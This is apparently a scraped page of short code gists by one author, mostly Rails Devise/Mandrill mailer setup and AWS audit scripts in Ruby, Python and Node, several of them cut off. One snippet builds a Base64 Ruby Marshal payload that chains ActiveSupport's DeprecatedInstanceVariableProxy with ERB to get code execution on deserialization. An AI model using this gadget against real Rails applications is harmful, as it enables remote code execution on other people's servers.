This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# THIS FILE IS FOUND WITHIN config/initializers/devise.rb | |
# ==> Mailer Configuration | |
# Configure the e-mail address which will be shown in Devise::Mailer, | |
# note that it will be overwritten if you use your own mailer class | |
# with default "from" parameter. | |
config.mailer_sender = '[email protected]' | |
# Configure the class responsible to send e-mails. | |
config.mailer = 'MyMailer' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class MyMailer < Devise::Mailer | |
def confirmation_instructions(record, token, opts={}) | |
# code to be added here later | |
end | |
def reset_password_instructions(record, token, opts={}) | |
# code to be added here later | |
end | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class MyMailer < Devise::Mailer | |
def confirmation_instructions(record, token, opts={}) | |
# code to be added here later | |
end | |
def reset_password_instructions(record, token, opts={}) | |
options = { | |
:subject => "Password Reset", | |
:email => record.email, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# THIS FILE IS FOUND WITHIN config/initializers/mandrill.rb | |
require 'mandrill' | |
# Use an environment variable instead of placing the key in source code | |
MANDRILL = Mandrill::API.new ENV['MANDRILL_API_KEY'] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def test | |
code = "eval('puts \"hello\"')" | |
return Base64.encode64 "\x04\x08" + | |
"o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + | |
":\x0E@instance" + | |
"o"+":\x08ERB"+"\x06" + | |
":\x09@src" + | |
Marshal.dump(code)[2..-1] + | |
":\x0C@method"+":\x0Bresult" | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
say 'push me, and then just touch me, so I can get my, satisfaction' && \ | |
say -v victoria 'push me, and then just touch me, so I can get my, satisfaction' && \ | |
say -v victoria 'satisfaction' &&\ | |
say 'boing, boom tschak,,,boing, boom tschak' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
require 'aws-sdk' | |
sts = Aws::STS::Client.new( | |
region: 'us-east-1', | |
access_key_id: "<insert access key id>", | |
secret_access_key: "<secret>" | |
) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import boto3 | |
from itertools import chain | |
import csv | |
''' | |
Goal) | |
Create a matrix (csv) that consists of (and is used in an excel file capacity): | |
*** List out each policy (Managed and Inline) that are attached to a user. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var AWS = require('aws-sdk'); | |
var url = require('url'); | |
var https = require('https'); | |
var hookUrl, kmsEncyptedHookUrl, slackChannel; | |
kmsEncyptedHookUrl = 'abcd1234'; // Enter the base-64 encoded, encrypted key (CiphertextBlob) | |
slackChannel = 'example_channel'; // Enter the Slack channel to send a message to | |
var postMessage = function(message, callback) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import boto3 | |
import pprint | |
# MAKE SURE YOU CHANGE THESE VALUES OR THE TOOL WON'T WORK. | |
access_key_id = 'replace me' | |
secret_access_key = 'replace me' | |
''' | |
This file is used to list EBS volumes and whether or not they are encrypted. This is only for "in-use" (running) volumes. |